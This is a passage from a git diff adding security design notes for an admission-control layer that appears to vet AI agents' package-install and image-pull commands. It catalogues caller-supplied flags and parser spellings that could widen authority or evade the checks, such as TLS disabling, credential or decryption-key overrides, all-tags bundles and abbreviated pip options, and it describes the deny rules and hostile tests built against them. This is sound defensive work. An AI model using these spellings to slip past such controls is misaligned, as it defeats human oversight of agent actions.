fail-closed result. + +## Primary-source trace + +The Cargo Book documents the `cargo install [options] crate[@version]…` syntax and separately documents `--vers version` / `--version version` as version selectors. It states that a version with no requirement operator in MAJOR.MINOR.PATCH form installs exactly that version. This makes version selection part of artifact identity rather than an inert presentation option. + +## APA 7 reference + +Rust Project Developers. (2026). *cargo install—The Cargo Book*. Retrieved September 4, 2026, from https://doc.rust-lang.org/cargo/commands/cargo-install.html diff --git a/docs/doctoring/cargo-install-overwrite-authority.md b/docs/doctoring/cargo-install-overwrite-authority.md new file mode 100644 index 00000000..6459d9d5 --- /dev/null +++ b/docs/doctoring/cargo-install-overwrite-authority.md @@ -0,0 +1,34 @@ +# Cargo install overwrite and tracking authority + +Verified 2026-09-04 against the current Cargo Book. This note records the narrow evidence behind Wardnet's Agent Artifact Admission rule for Cargo mutation semantics; it does not make Wardnet an installer or filesystem authority. + +## Problem + +A reviewed Cargo artifact coordinate authorizes one exact package identity. It does not authorize the caller to widen the install's mutation semantics after review. Cargo documents `-f` / `--force` as authority to overwrite existing crates or binaries, including binaries owned by another package. Cargo also documents `--no-track` as disabling installed-package metadata and Cargo's protection against concurrent install invocations. Those effects can overwrite an existing executable or remove collision/concurrency safeguards without changing the submitted package coordinate. + +For an agent-facing pre-execution admission boundary, treating those switches as ordinary presentation flags would let untrusted argv acquire filesystem mutation authority absent from the reviewed policy. + +## Decision + +For the current Cargo admission profile: + +- caller-supplied `-f` / `--force` fails closed as `artifact_not_approved`; +- caller-supplied `--no-track` fails closed as `artifact_not_approved`; +- the rule applies only to `cargo install`; other Cargo commands remain outside the supported command grammar; +- Wardnet does not decide which existing binary may be replaced, manage the Cargo install root, execute Cargo, or provide runtime concurrency isolation. Any future overwrite/metadata exception requires an explicit versioned policy capability and downstream executor controls. + +The existing exact package/version/source/build/install-root controls remain independent. This rule adds no Cargo resolver behavior; it simply prevents the caller from adding destructive or tracking-bypass authority that is absent from the reviewed intent. + +## RED → GREEN evidence + +RED `4c5883decdfb89c8197fd5183cff948d6d2b34a2` adds hostile `--force`, `-f`, and `--no-track` requests to the approved Cargo-install contract. The pre-repair evaluator had no rule that classified those switches as unreviewed authority. The production repair is split into helper introduction `76823b8858f33655d4c4107cd2b820fd5fb2572a` and admission wiring `c35f646db12104bcd8bc63c5773c0c62621ccc34`, which routes all three forms through the existing `artifact_not_approved` fail-closed result. + +Repository-hosted execution remains required on the exact current head because the organization runner control plane is presently queue-starved; predecessor check conclusions do not transfer. + +## Primary-source trace + +The Cargo Book states that `-f` / `--force` forces overwriting existing crates or binaries and can be used when another package already installed a binary with the same name. It also states that `--no-track` disables the installed-package metadata file and Cargo's ability to protect against multiple concurrent install invocations. Both therefore alter mutation/collision semantics rather than merely formatting output. + +## APA 7 reference + +Rust Project Developers. (2026). *cargo install—The Cargo Book*. Retrieved September 4, 2026, from https://doc.rust-lang.org/cargo/commands/cargo-install.html diff --git a/docs/doctoring/npm-family-dependency-closure.md b/docs/doctoring/npm-family-dependency-closure.md new file mode 100644 index 00000000..9810f9a0 --- /dev/null +++ b/docs/doctoring/npm-family-dependency-closure.md @@ -0,0 +1,44 @@ +# npm-family dependency-closure admission trace + +Verified 2026-09-05. This note records the evidence for Wardnet's v0.1 decision to reject direct npm-family resolver installs until the admission contract can bind the material set they may install. It does not assign dependency resolution to Wardnet; dependency resolution remains external to the Agent Artifact Admission bounded context. + +## Decision + +`npm install `, `pnpm add/install `, `yarn add `, and `bun add/install ` can turn one reviewed direct package operand into a transitive dependency closure. The current `InstallIntent` and `AdmissionPolicy` bind direct artifact coordinates and digests but do not carry a reviewed lockfile/material-set identity that proves the transitive closure. Wardnet therefore fails these direct resolver paths closed as `artifact_not_approved` even when the direct coordinate and execution-hardening flags match policy. + +This is a dependency-authority decision, not a claim that the package managers are unsafe. `--ignore-scripts` and pnpm's `--ignore-pnpmfile` constrain execution hooks; they do not prove which transitive artifacts the resolver will select. A package manager's lockfile or frozen mode is also not self-authorizing: the admission contract must first bind the reviewed lockfile/material set and the execution broker must preserve and verify that identity through retrieval and installation. + +## Primary-source observations + +| Package manager | Current primary-source behavior | Consequence for a future Wardnet allow path | +| --- | --- | --- | +| npm | `npm ci` requires an existing `package-lock.json`/`npm-shrinkwrap.json`, exits when the lock does not match `package.json`, installs the whole project, and does not write the manifest or lockfile. npm describes these installs as essentially frozen. | Prefer a reviewed project/lockfile contract over direct `npm install `; bind any tree-shaping project configuration used to create the lock. | +| pnpm | `pnpm install --frozen-lockfile` does not generate a lockfile and fails when the lockfile is absent, out of sync with the manifest, or would need an update. | A future port can require a reviewed `pnpm-lock.yaml` digest/material set plus frozen project install, while retaining workspace/configuration authority controls. | +| Yarn | `yarn install --immutable` aborts when the install would modify the lockfile; `--immutable-cache` and `--check-cache` add cache mutation/checksum controls. | A future port can bind the reviewed lockfile/material set and explicitly choose any additional cache-integrity requirements rather than authorizing `yarn add`. | +| Bun | `bun install --frozen-lockfile` installs exact versions from `bun.lock` and fails when the manifest disagrees; `bun ci` is documented as equivalent. | A future port can bind `bun.lock`/material identity and frozen project installation while separately constraining Bun configuration, platform selection, and trusted lifecycle authority. | + +## Wardnet boundary and acceptance criteria + +The current fail-closed repair is complete only when hostile tests prove that all supported direct npm-family resolver commands block after every existing direct-coordinate and safety check would otherwise pass. Positive admission coverage remains on package-manager paths whose current grammar can be bounded by the reviewed intent, such as exact Cargo installs and PyPI installs with `--require-hashes --no-deps`; this prevents the repair from degenerating into a global deny-all evaluator. + +A future npm-family allow capability requires a new versioned contract with, at minimum: + +- immutable reviewed project-manifest and lockfile digests; +- an explicit material/dependency-set identity derived from the reviewed lockfile rather than from runtime resolver output; +- package-manager/version semantics sufficient to interpret that lockfile without mutable or ambient trust/configuration authority; +- a frozen project-install command shape that fails rather than rewriting the lockfile; +- broker verification that retrieved bytes/provenance correspond to the admitted material set before execution; +- replay/idempotency and audit evidence binding the request, policy revision, lock/material identity and execution receipt; +- hostile tests for lock/manifest mismatch, lock mutation, workspace expansion, alternate registry/config, platform/optional/peer variant drift, cache poisoning, post-admission substitution and dependency-set mismatch. + +This future work stays within Wardnet's admission/evidence responsibility only for policy evaluation and receipts. The execution broker preserves the admitted identity, `quarantine-sandbox-runtime` owns hostile execution isolation, and registry/provenance providers remain behind versioned ports/ACLs. + +## APA 7 references + +Bun. (2026). *bun install.* https://bun.com/docs/pm/cli/install + +npm, Inc. (2026). *npm ci.* https://docs.npmjs.com/cli/v11/commands/npm-ci/ + +pnpm contributors. (2026). *pnpm install.* https://pnpm.io/cli/install + +Yarn contributors. (2026). *yarn install.* https://yarnpkg.com/cli/install diff --git a/docs/doctoring/oci-platform-artifact-identity.md b/docs/doctoring/oci-platform-artifact-identity.md new file mode 100644 index 00000000..33573a3f --- /dev/null +++ b/docs/doctoring/oci-platform-artifact-identity.md @@ -0,0 +1,37 @@ +# OCI platform selection and artifact identity + +Verified 2026-09-04. This note records the security reason Wardnet's Agent Artifact Admission boundary rejects caller-selected OCI pull platforms until platform-specific artifact identity is represented in a versioned policy contract. It does not claim OCI conformance or runtime image verification; the execution broker and quarantine runtime still verify the retrieved object and preserve request/evidence identity. + +## Problem + +The admission policy currently approves an OCI artifact by exact ecosystem, image name, version, registry, owner, SHA-256 digest, and submitted image reference. Docker and Podman clients can also accept caller-selected platform selectors for a pull. Docker documents `--platform` as selecting a platform when the server is multi-platform capable. Podman's current `podman pull` contract independently exposes `--platform`, `--arch`, `--os`, and `--variant`; its documentation states that these options override the host platform attributes used to select the image. The OCI Image Index specification defines an image index as a higher-level manifest that points to specific image manifests for one or more platforms. + +If Wardnet authorizes only the index-level artifact coordinate but lets untrusted argv add any of those selectors, the caller has introduced an execution-relevant artifact variant that the policy did not review separately. The index digest remains content-addressed, but the selected platform-specific manifest and runtime bytes are not represented by the current `ArtifactCoordinate` contract. That is an authority gap, not merely a command-line convenience. + +## Decision + +Wardnet fails closed on caller-supplied `--platform` or `--platform=...` for `docker pull` and `podman pull`. For Podman, the equivalent `--arch`, `--os`, and `--variant` selector forms also fail closed. The decision uses the existing `artifact_not_approved` reason because the requested artifact variant is outside the approved coordinate; no new public reason-code contract is introduced. + +The compatible control remains an exact digest pull with no caller-selected platform selector. A future released policy schema may model an approved OCI platform together with the platform-specific manifest digest or equivalent verified provenance. Until then, silently accepting platform selection would widen authority beyond the reviewed artifact identity. + +This is intentionally an admission-only control. Wardnet does not copy OCI resolution or hostile-execution logic from its canonical owners, and an admission `allow` remains insufficient proof that registry retrieval returned the expected executable bytes. + +## Executable evidence + +- RED `831006629d5fc3530ca20038dae2388115f4e26b`: `oci_platform_variant_contract.rs` proves an otherwise approved digest pull can append `--platform=linux/arm64` and escape the artifact-variant authority represented by policy. +- Initial causal source repair: `artifact_variant.rs` identifies the unrepresented OCI `--platform` selector and the public admission composition maps it to `artifact_not_approved`/block while retaining the exact-digest no-platform control case. +- Alias RED `e24f8eaca488ae610477967aad7c697433e3b199`: the same contract proves Podman attached `--arch=`, `--os=`, and `--variant=` selectors would otherwise retain an `allow` decision despite selecting an unreviewed platform variant. +- Alias GREEN `950e1059dbdadc3e045259c7f987332f98ac9b2f`: the bounded domain predicate recognizes those Podman selector aliases without widening the public reason-code surface or affecting non-Podman command ownership. +- DDD fitness: `ddd_architecture_contract.rs` treats `artifact_variant.rs` as a domain source and keeps Axum, Tokio, filesystem, network, path, and adapter concerns out of the policy boundary. + +Exact current-head CI/security/coverage/review evidence remains mandatory; queued, absent, predecessor, or wrong-PR same-SHA results do not establish GREEN. + +## APA 7 references + +Docker, Inc. (2026). *docker image pull*. Docker Docs. https://docs.docker.com/reference/cli/docker/image/pull/ + +Podman Project. (2026). *podman-pull — Pull an image from a registry*. Podman documentation. https://docs.podman.io/en/latest/markdown/podman-pull.1.html + +Open Container Initiative. (2026). *OCI Image Index Specification*. https://github.com/opencontainers/image-spec/blob/main/image-index.md + +Open Container Initiative. (2026). *OCI Distribution Specification*. https://github.com/opencontainers/distribution-spec/blob/main/spec.md diff --git a/docs/doctoring/oci-registry-tls-trust.md b/docs/doctoring/oci-registry-tls-trust.md new file mode 100644 index 00000000..ee041e18 --- /dev/null +++ b/docs/doctoring/oci-registry-tls-trust.md @@ -0,0 +1,31 @@ +# OCI registry transport, authentication, and decryption authority + +Verified 2026-09-04. This note records why Wardnet's Agent Artifact Admission boundary rejects caller-selected Podman registry TLS weakening, certificate replacement, registry-principal overrides, and image decryption material. It is an admission-policy control only; Wardnet does not fetch or decrypt images and does not take over hostile execution from `quarantine-sandbox-runtime`. + +## Problem + +An approved OCI coordinate binds an HTTPS registry URL and exact artifact identity, but Podman's pull command exposes transport, authentication, and decryption options that can introduce additional authority. Current Podman documentation states that `--tls-verify=false` disables certificate verification, `--cert-dir=path` selects certificates used to connect to the registry, `--authfile=path` selects registry authentication state, `--creds=username[:password]` supplies the registry principal directly, and `--decryption-key=key[:passphrase]` selects keys or certificates for image decryption and can carry a passphrase in the argument. + +Before these repairs, otherwise exact structured intents could combine an approved digest with caller-selected TLS trust, registry credentials, or decryption material. Attached option forms begin with `-`, so Wardnet's artifact-operand accounting correctly ignored them as positional artifact names; without an explicit trust/secret-authority predicate, however, those options could survive exact artifact, manifest, executable, and digest checks. Digest verification downstream remains necessary, but it does not make caller-controlled transport, authentication, local key material, or passphrases part of reviewed admission authority. + +## Decision + +Wardnet classifies Podman `--cert-dir`, `--authfile`, `--creds`, and `--decryption-key` overrides plus false values of `--tls-verify` as `alternate_trust_root` and blocks the install intent. Go/Podman-compatible false spellings represented by `false`, `f`, and `0` are treated equivalently, case-insensitively. Explicit `--tls-verify=true` remains compatible because it does not weaken reviewed HTTPS registry trust. + +Registry credentials and image-decryption secrets must be supplied by separately governed downstream execution/deployment/secret boundaries, not selected by untrusted install argv. Wardnet does not read an authfile or key, authenticate to a registry, decrypt an image, or copy secret-management/runtime behavior into the admission domain. + +The control is implemented in the bounded `oci_transport` domain predicate and composed into the existing admission result. It intentionally reuses the stable `alternate_trust_root` reason because these options introduce caller-selected trust/secret authority outside the reviewed artifact contract; a future versioned domain contract may split machine-readable subcategories without weakening the fail-closed behavior. + +## Executable evidence + +- RED `186be292eea13a8cc97c10e09208a5360a2a5996` introduces hostile Podman TLS-disable and custom certificate-directory cases; `7725ae8a8583f53c78c02df7296069dc4c270b37` extends the RED across accepted false spellings while retaining a `--tls-verify=true` allow control. +- Causal repair `b7b13e5db6997bb0ccdddea000ededd2a7b4cdb6` adds the bounded OCI transport-trust predicate, and GREEN composition `c4cb57312dc0bf2972ad7ae61e3c526b49c5217f` maps it to the existing `alternate_trust_root` fail-closed decision. +- Authentication-authority RED `400c53265f21d684ab06232536b50341b5d524c0` adds attached `--authfile` and `--creds` hostile cases that previously remained syntactically admissible; causal GREEN `3eade5d41c50d1ad4e48118014c50acf5d8f3793` rejects caller-selected registry authentication sources/principals. +- Decryption-authority RED `d7aa94fc3846e0ed189f90b5525df03d1a62e3ee` adds an attached secret-bearing `--decryption-key=...:passphrase` hostile case; causal GREEN `261ecc20e280c3af45798cc396088260eb94ba50` rejects caller-selected image decryption key/passphrase material at the same bounded boundary. +- Architecture fitness `7c833b6c4fc77c1ad17c03b48169addfb5328c5b` places `oci_transport.rs` under the same dependency-direction contract as the other admission-domain sources. + +Exact-current-head repository, security, coverage, and review execution remains required before integration. Queued or predecessor evidence is not GREEN. + +## APA 7 reference + +Podman Project. (2026). *podman-pull — Pull an image from a registry*. Podman documentation. https://docs.podman.io/en/stable/markdown/podman-pull.1.html diff --git a/docs/doctoring/oci-repository-pull-cardinality.md b/docs/doctoring/oci-repository-pull-cardinality.md new file mode 100644 index 00000000..6092f976 --- /dev/null +++ b/docs/doctoring/oci-repository-pull-cardinality.md @@ -0,0 +1,53 @@ +# OCI repository pull cardinality + +## Problem + +Agent Artifact Admission authorizes exact reviewed OCI artifact coordinates, including a digest-bearing command operand. Docker and Podman both expose `-a` / `--all-tags` on `pull`; their current command references define that option as pulling every tagged image in a repository. Before this repair, Wardnet ignored those option tokens because they begin with `-`, so an intent could retain an `allow` decision even though the downstream client had been asked to expand one approved artifact request into a mutable repository-wide set. + +A follow-up hostile case found the first repair was syntactically incomplete. Boolean CLI options can also be supplied as assignments, including `--all-tags=true` and short-form assignments such as `-a=true`. The exact-token predicate rejected bare `-a` / `--all-tags` but did not classify assigned true forms, so the same artifact-set expansion authority could escape the admission boundary while the reviewed digest operand still matched policy. + +A second follow-up found another parser-level spelling. Docker currently defines both `all-tags` (`-a`) and `quiet` (`-q`) as Boolean pull flags, and Podman documents the same two shorthands. The pflag command-line grammar used by Cobra-style Go CLIs permits Boolean shorthand flags to be combined in a single token. Therefore `-aq` and `-qa` retain `-a`'s repository-expansion authority even though neither token equals the previously rejected bare or assignment forms. Admission must interpret that semantic shorthand bundle rather than treating structured argv as an opaque string list. + +A third hostile case exercised an assignment on the final shorthand in a bundle. In pflag grammar, every non-final Boolean shorthand is enabled and an attached value belongs to the final shorthand. Consequently `-aq=false` still enables `-a` before assigning `false` to `-q`, while `-qa=false` assigns `false` to the final `-a` and leaves repository expansion disabled. A security predicate that rejects every assigned bundle as malformed would miss the first case; one that rejects every bundle containing `a` would create a false positive for the second. + +This is an admission-authority defect, not an OCI transport implementation responsibility. Wardnet owns whether submitted structured argv stays inside the reviewed artifact set. Docker/Podman continue to own registry transport, and the downstream execution broker/quarantine path still owns retrieval, byte verification, and hostile execution isolation. + +## Decision + +For Docker and Podman `pull`, bare `-a` / `--all-tags`, assigned true spellings, and Boolean shorthand bundles whose effective semantics enable `a` are rejected as `artifact_not_approved`. The current bounded parser recognizes the documented pull shorthands `a` and `q` and applies pflag's final-shorthand assignment rule: `-aq`, `-qa`, `-aq=false`, and `-aq=0` are denied; `-q`, `-qq`, `-qa=false`, and `-qa=0` remain admissible. This keeps the repair causal rather than attempting to reimplement the complete provider CLI grammar. + +The existing artifact-variant predicate is intentionally widened to cover both platform selection and dynamic artifact-set expansion because both change artifact identity beyond the reviewed `ArtifactCoordinate` set. Explicit false assignments remain admissible only when they actually leave `all-tags` disabled. No new public reason code or provider-specific transport abstraction is introduced. + +The decision is fail-closed until Wardnet has a versioned policy aggregate capable of enumerating every artifact that a repository-wide operation may retrieve. A mutable tag set is not equivalent to a reviewed list of exact digests. + +## RED / GREEN evidence + +- RED `d7f429c37a3bd26ea746254defc5d65f33ef71f2`: `oci_all_tags_contract.rs` requires Docker and Podman long/short all-tags forms to block even when the submitted operand itself is an approved digest. +- Causal GREEN source `7f06137453dc2296e4c4ac8c439777bf19ba7244`: `artifact_variant` rejects bare `-a` / `--all-tags` and the composition keeps the existing `artifact_not_approved` contract. +- Follow-up RED `883d1d37e05b0ccd9d30b2c1b25fd7d53c6fc8d8`: the hostile contract adds assigned true forms that the exact-token predicate did not reject. +- Causal GREEN `e9e07e696c013dab88df6a5a6dc1be8306b9b688`: the predicate recognizes true Boolean assignments without treating explicit false assignments as repository expansion. +- Coverage refinement `2207a6f79522dc8b6cb95e817be648bb6ef9a7f3`: exercises Docker/Podman long/short assigned true spellings and the explicit-false non-regression boundary. +- Bundled-shorthand RED `a1105c5de234e8750ce3c9b4036de1669a67b818`: hostile Docker/Podman `-aq` and `-qa` cases expose that exact-token/assignment matching still permits the `all-tags` capability when combined with the Boolean `quiet` shorthand. +- Causal GREEN `f35db9e712b243bd6e8cff9125aaa968b9d12362`: the artifact-variant boundary recognizes documented Boolean `a`/`q` shorthand bundles containing `a` without broadening Wardnet into an OCI CLI implementation. +- Non-regression coverage `897a790baf89347778a27dbb1356aaf2d002e032`: proves quiet-only `-q`/`-qq` remains allowed for an otherwise exact approved digest. +- Assigned-bundle RED `dd6b9309034a3f14f534d2eb0f81a9a49b32bfdd`: proves `-aq=false` / `-aq=0` still enable the preceding all-tags shorthand while `-qa=false` / `-qa=0` must remain admissible because their final all-tags shorthand is explicitly false. +- Causal GREEN `0f6a02a0b2dcdddd96e35f137923eefa27f8c8f2`: the bounded parser applies the final-shorthand assignment rule and blocks only bundles whose effective semantics enable `a`. +- Exact-current-head workflow execution remains authoritative for terminal GREEN; predecessor workflow results do not transfer to a changed head. + +## Threat effect + +The repair removes a confused-deputy path where untrusted agent-supplied argv could widen a single reviewed OCI identity into every mutable tag in a repository. It does not claim that a permitted digest pull proves downloaded bytes. The execution broker must still verify the retrieved object or equivalent provenance against the admitted identity before installation or execution. + +## References + +Docker, Inc. (2026). *docker CLI reference*. Docker Docs. https://docs.docker.com/reference/cli/docker/ + +Docker, Inc. (2026). *docker image pull*. Docker Docs. https://docs.docker.com/reference/cli/docker/image/pull/ + +National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1: Recommendations for mitigating the risk of software vulnerabilities (NIST SP 800-218).* https://doi.org/10.6028/NIST.SP.800-218 + +Podman contributors. (2026). *podman-pull*. Podman documentation. https://docs.podman.io/en/latest/markdown/podman-pull.1.html + +spf13 contributors. (2026). *pflag: Command-line flag syntax*. GitHub. https://github.com/spf13/pflag + +Primary command/parser references were re-verified on 2026-09-04. Docker documents `-a, --all-tags` and `-q, --quiet` as Boolean pull options, with `all-tags` expanding the request to all tagged images. Podman documents the equivalent `-a` and `-q` pull options. pflag documents that Boolean shorthand flags can be combined, that all but the last shorthand must be Boolean, and that the final shorthand may take an attached value. Those semantics are why Wardnet evaluates the effective bundled flag state rather than classifying tokens by spelling alone. diff --git a/docs/doctoring/pip-dependency-group-authority.md b/docs/doctoring/pip-dependency-group-authority.md new file mode 100644 index 00000000..02b051ff --- /dev/null +++ b/docs/doctoring/pip-dependency-group-authority.md @@ -0,0 +1,26 @@ +# pip dependency-group authority + +## Decision + +Wardnet's Agent Artifact Admission boundary rejects `pip install` and `pip3 install` requests that add `--group`. The reviewed install intent binds an exact artifact set; a dependency group imports a list of requirements from `pyproject.toml`, optionally from another project path, and therefore represents artifact-selection authority outside that reviewed set. + +Both `--group=` and the separate-value form fail closed with `artifact_not_approved`. The attached-value form is security-significant because it is not an extra positional operand and therefore cannot rely on generic operand-cardinality rejection. + +Wardnet does not read `pyproject.toml`, resolve or fetch dependency-group members, execute pip, authorize network egress, or own filesystem/runtime isolation. It only rejects structured installer argv that attempts to widen reviewed artifact authority. Runtime execution and isolation remain downstream canonical-owner responsibilities. + +## RED / GREEN evidence contract + +The hostile regression uses an otherwise admissible exact PyPI artifact request with `--require-hashes`, `--no-deps`, and `--no-input`, then appends `--group=developer-tools`. The test-only head must demonstrate semantic RED after successful checkout/formatting. The minimum production repair recognizes `--group` only for direct `pip install` / `pip3 install` grammar and preserves the exact direct install control path. + +Acceptance requires: + +- attached and separate `--group` spellings fail closed; +- `pip` and `pip3` are covered; +- an exact direct install with no dependency-group authority remains allowed when all other policy invariants hold; +- no pyproject discovery, dependency resolution, package retrieval, transport enforcement, or quarantine logic is copied into Wardnet. + +## Traceability + +Python Packaging Authority. (2026). *pip install — pip documentation*. https://pip.pypa.io/en/latest/cli/pip_install/ + +Python Packaging Authority. (2026). *User guide: Dependency Groups*. https://pip.pypa.io/en/latest/user_guide/#dependency-groups diff --git a/docs/doctoring/pypi-artifact-variant-abbreviation-authority.md b/docs/doctoring/pypi-artifact-variant-abbreviation-authority.md new file mode 100644 index 00000000..0cfebb42 --- /dev/null +++ b/docs/doctoring/pypi-artifact-variant-abbreviation-authority.md @@ -0,0 +1,69 @@ +# Direct pip artifact-variant abbreviation authority + +## Problem and ownership boundary + +Wardnet Agent Artifact Admission authorizes reviewed installer intent and emits pre-execution security evidence. It does not resolve or fetch packages, perform TLS/network I/O, install or execute artifacts, isolate hostile workloads, or choose provider/runtime credentials. Those execution, transport, analysis, isolation, orchestration, and identity responsibilities remain with their canonical CWL owners. + +The direct `pip`/`pip3` grammar is nevertheless part of Wardnet's admission surface. pip exposes selectors such as `--platform`, `--python-version`, `--implementation`, `--abi`, `--no-binary`, `--only-binary`, `--prefer-binary`, `--no-build-isolation`, and `--config-settings`. These options can change wheel compatibility, binary-versus-source selection, build isolation, or backend build configuration without changing the explicit package name/version operand that Wardnet already approved. + +Python's `optparse`-compatible long-option parser accepts unambiguous prefixes. Executable parser verification against pip 25.1.1 established the direct-pip spellings `--pl`, `--python-`, `--im`, `--a`, `--no-bi`, `--o`, `--prefe`, `--no-bu`, and `--conf` as accepted, while shorter forms such as `--p`, `--py`, `--i`, `--no-b`, `--pref`, and `--con` remain ambiguous and must not be invented as aliases by Wardnet. + +## Exact RED evidence + +Test-only head `30623bf4d244daa97f928a29408bfe8c3b74d0af` added only `crates/agent-artifact-admission/tests/pypi_artifact_variant_abbreviation_contract.rs`. Hosted CI `34632315148`, Rust job `103371851676`, acquired GitHub-hosted `ubuntu-24.04`, checked out that exact head, installed the pinned Rust toolchain, and passed `cargo fmt --check`. `cargo test --locked --workspace` then failed while Fuzz `34632315062` succeeded. The failure is therefore a semantic admission RED rather than runner, checkout, or formatting noise. + +After #326 integrated normally, restack PR #328 adopted exact parent `feat/agent-artifact-admission@8003b9a211208a66c87b198b678528382fd07f3e` into this child without changing the tree, force-updating history, or transferring predecessor GREEN as current evidence. + +## Decision + +Extend only the existing direct-pip artifact/build-variant classifier. + +For value-taking selectors, classify prefixes from the shortest verified unambiguous spelling through the character before the canonical spelling, preserving both separate-value and `--option=value` forms: + +- `--platform` from `--pl`; +- `--python-version` from `--python-`; +- `--implementation` from `--im`; +- `--abi` from `--a`; +- `--no-binary` from `--no-bi`; +- `--only-binary` from `--o`; +- `--config-settings` from `--conf`. + +For Boolean selectors, classify only argument-free accepted prefixes: + +- `--prefer-binary` from `--prefe`; +- `--no-build-isolation` from `--no-bu`. + +Canonical spellings remain under the pre-existing classifier. Ambiguous shorter prefixes remain unclassified because pip rejects them. Boolean abbreviations with an invented `=value` form are not treated as accepted pip grammar. `uv` retains its independent option language and receives no pip-prefix behavior. + +This is a Wardnet admission/policy repair. It does not duplicate EgressWeave transport authorization, quarantine execution/isolation, AppGuardrail package analysis, contextual-orchestrator agent/LLM orchestration, or Keyverse identity/secret authority. + +## Alternatives rejected + +Blocking every textual prefix beginning with a few matching characters was rejected because it would invent parser semantics and create false positives. Treating an exact approved package operand as sufficient despite caller-selected compatibility/build selectors was rejected because the resulting artifact/build path can differ materially from the reviewed intent. Reimplementing pip resolution or build behavior inside Wardnet was rejected because Wardnet owns admission evidence, not package-manager execution. + +## Security effect and residual risk + +The repair closes an admission bypass where a caller could keep the approved package coordinate while selecting a different compatibility target, binary/source policy, build-isolation mode, or backend build configuration through a pip-accepted abbreviated option. The bounded helper records both positive and negative grammar controls so future widening requires an explicit hostile RED rather than prefix guessing. + +Residual risk remains when pip changes parser behavior or adds security-significant selectors. Such changes require parser verification and a new bounded admission contract. Wardnet must not infer aliases from spelling similarity alone. + +## Traceability + +- NIST SP 800-218 SSDF v1.1 is the final normative SSDF publication used by this decision. SP 800-218 Rev. 1 / SSDF v1.2 remains an Initial Public Draft published December 17, 2025 and is informative only. +- Current PyPA pip documentation identifies the compatibility, binary/source, build-isolation, and backend configuration selectors whose authority this repair bounds. +- Python `optparse` documentation is the primary parser reference for accepted abbreviated long options. +- CWE-20 supports strict validation of untrusted structured input; CWE-829 is relevant where caller-controlled build/source selection can include functionality outside the intended reviewed control sphere. + +## References (APA 7th) + +MITRE. (2026). *CWE-20: Improper input validation* (Version 4.20). Common Weakness Enumeration. https://cwe.mitre.org/data/definitions/20.html + +MITRE. (2026). *CWE-829: Inclusion of functionality from untrusted control sphere* (Version 4.20). Common Weakness Enumeration. https://cwe.mitre.org/data/definitions/829.html + +National Institute of Standards and Technology. (2022). *Secure software development framework (SSDF) version 1.1: Recommendations for mitigating the risk of software vulnerabilities* (NIST Special Publication 800-218). https://doi.org/10.6028/NIST.SP.800-218 + +National Institute of Standards and Technology. (2025). *Secure software development framework (SSDF) version 1.2: Recommendations for mitigating the risk of software vulnerabilities* (NIST Special Publication 800-218 Rev. 1, Initial Public Draft). https://doi.org/10.6028/NIST.SP.800-218r1.ipd + +Python Packaging Authority. (n.d.). *pip install — pip documentation*. Retrieved September 12, 2026, from https://pip.pypa.io/en/latest/cli/pip_install/ + +Python Software Foundation. (n.d.). *optparse — Parser for command line options*. Retrieved September 12, 2026, from https://docs.python.org/3/library/optparse.html diff --git a/docs/doctoring/pypi-artifact-variant.md b/docs/doctoring/pypi-artifact-variant.md new file mode 100644 index 00000000..a14fe4f8 --- /dev/null +++ b/docs/doctoring/pypi-artifact-variant.md @@ -0,0 +1,41 @@ +# PyPI artifact and build-variant admission traceability + +Verified 2026-09-04 against the current pip and Astral uv documentation plus local parser/help probes. This note records why caller-selected compatibility/build controls and resolver-driven dependency expansion are security-artifact identity inputs in Wardnet. It does not claim that Wardnet executes installers, verifies downloaded bytes, or owns hostile execution isolation. + +## Decision + +An approved PyPI coordinate currently binds ecosystem, package name, version, registry, publisher label, SHA-256, and the exact package operand. It does not bind wheel compatibility tags, source-distribution selection, build isolation, PEP 517 backend settings, or an undeclared transitive dependency closure. Until the policy schema represents those dimensions explicitly, an untrusted install intent must not widen them. + +For `pip install` / `pip3 install`, Wardnet fails closed as `artifact_not_approved` when argv carries caller-selected `--platform`, `--python-version`, `--implementation`, `--abi`, `--no-binary`, `--only-binary`, `--prefer-binary`, `--no-build-isolation`, or `-C` / `--config-settings`. The `-C` guard covers separated and attached required-value spellings such as `-Cbackend-mode=unsafe`. + +`uv pip install` is a separately supported command path, not an alias that may inherit pip approval implicitly. Wardnet therefore also fails closed on uv target/build selectors that can change the selected distribution or build path, including `--python-platform`, binary/source selection, build disabling/isolation controls, and `-C` / config-setting controls. The exact reviewed artifact set is additionally dependency-cardinality bounded: `pip`, `pip3`, and `uv pip install` must carry the exact `--no-deps` safety flag, alongside the existing hash-checking requirement, so the installer cannot resolve extra transitive artifacts absent from `InstallIntent.artifacts`. + +The downstream execution broker remains responsible for independently verifying every retrieved artifact byte sequence against the admitted digest/provenance before installation. An admission `allow` receipt is not execution authority. + +## Evidence + +The pip install reference documents compatibility selectors that alter the wheel set, binary/source controls that change distribution choice, build-isolation/config-setting controls that change source-build behavior, and `--no-deps` as the switch that suppresses dependency installation. pip's repeatable-install guidance recommends pinning the full dependency graph and notes that `--no-deps` provides additional assurance that nothing outside the explicitly supplied set is installed. + +Astral's current `uv pip install` reference likewise exposes `--python-platform`, `--no-binary`, `--no-build`, `--no-build-isolation`, package-scoped build controls, `-C` / `--config-setting`, and `--no-deps`. Those controls are semantically relevant even though uv's option vocabulary differs from pip's. A provider-neutral Wardnet approval therefore cannot treat `uv` as automatically safe merely because the requested package name/version matches a reviewed PyPI coordinate. + +Local parser probes confirmed pip accepts attached short `-Cbackend-mode=unsafe`, and current uv help/parser behavior accepts the guarded `uv pip install` target/build controls and `--no-deps`. Parser probing is evidence about command interpretation only; it is not a substitute for exact-head repository tests or downstream artifact verification. + +This follows the same least-authority rule already applied to OCI platform selection: approval for an abstract coordinate is not approval for a caller-selected artifact variant or undeclared artifact expansion that the policy does not encode. NIST SSDF requires software-integrity controls to be explicit and verifiable; Wardnet applies that principle by refusing to infer missing artifact/build/dependency authority. + +## RED → GREEN + +The earlier PyPI lineage established pip compatibility/build-variant rejection (`9f11a7f90902c83f796aeda990f33425739b9c46` -> `a23583a533babf256ad81e9c882759662fe33f2b` -> `b3336704f346a174a7ea9fcc4b0403ef22a8c06b`) and then closed the attached `-C` parser spelling (`aaecfe6bc6bb7cb7a26f7db7db61bfb8465f7b8b` -> `c8546f4db70dc8cbc86bedf1d050a0eb5974073f`). + +RED `2b78613d742a48aef1f9f0bda085a18be076219e` added hostile `uv pip install` target/build selectors that the preceding implementation did not inspect. GREEN `c655cbcc491b3be51bddaac737722888e10444ab` made PyPI artifact-variant admission distinguish pip-compatible command shapes and fail closed on uv-specific target/build authority. + +A second review found that exact approved operands still permitted 